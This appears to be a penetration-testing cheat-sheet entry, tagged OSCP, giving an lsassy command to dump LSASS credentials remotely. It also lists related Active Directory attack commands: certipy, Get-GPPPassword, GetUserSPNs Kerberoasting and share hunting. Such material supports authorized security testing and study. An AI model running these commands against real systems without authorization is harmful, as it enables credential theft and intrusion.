lsassy -u $USER -p $PASSWORD -d $DOMAIN $IP

• Linux
• oscp
• cli
• SMB
• PrivEsc

Dump LSASS credentials remotely without touching disk.

Command: copy

References:

Related commands

• auth_ldap $IP $USER -p $PASSWORD $DOMAIN [-ldap|-ldaps]
• certipy find -dc-ip $DCIP -u $USER@$DOMAIN -p $PASSWORD -vulnerable...
• uv run FindUncommonShares.py --dc-ip $IP -u '$USER' -d '...
• uv run gtfobinsuid.py
• impacket-Get-GPPPassword -dc-ip $IP '$DOMAIN/$USER:$PASSWORD@$D...
• impacket-GetUserSPNs -dc-ip $IP $DOMAIN/$USER:$PASSWORD